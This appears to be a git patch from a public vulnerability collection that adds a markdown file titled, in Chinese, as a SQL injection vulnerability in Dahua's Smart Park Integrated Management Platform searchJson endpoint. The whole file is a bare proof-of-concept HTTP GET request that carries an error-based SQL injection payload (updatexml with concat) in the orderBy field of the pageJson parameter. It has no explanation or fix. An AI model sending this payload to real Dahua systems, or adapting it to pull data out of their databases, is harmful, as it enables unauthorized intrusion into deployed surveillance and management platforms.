From 55a0a3067479a8559b200ab5d9aec8d97661082b Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 20:26:46 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=A4=A7=E5=8D=8E=E6=99=BA=E6=85=A7?=
 =?UTF-8?q?=E5=9B=AD=E5=8C=BA=E7=BB=BC=E5=90=88=E7=AE=A1=E7=90=86=E5=B9=B3?=
 =?UTF-8?q?=E5=8F=B0=20searchJson=20SQL=E6=B3=A8=E5=85=A5=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 大华智慧园区综合管理平台 searchJson SQL注入漏洞.md | 8 ++++++++
 1 file changed, 8 insertions(+)
 create mode 100644 大华智慧园区综合管理平台 searchJson SQL注入漏洞.md

diff --git a/大华智慧园区综合管理平台 searchJson SQL注入漏洞.md b/大华智慧园区综合管理平台 searchJson SQL注入漏洞.md
new file mode 100644
index 0000000..498e742
--- /dev/null
+++ b/大华智慧园区综合管理平台 searchJson SQL注入漏洞.md	
@@ -0,0 +1,8 @@
+## 大华智慧园区综合管理平台 searchJson SQL注入漏洞
+```
+GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
+Host: 127.0.0.1:7443
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+Accept-Encoding: gzip, deflate
+Connection: close
+```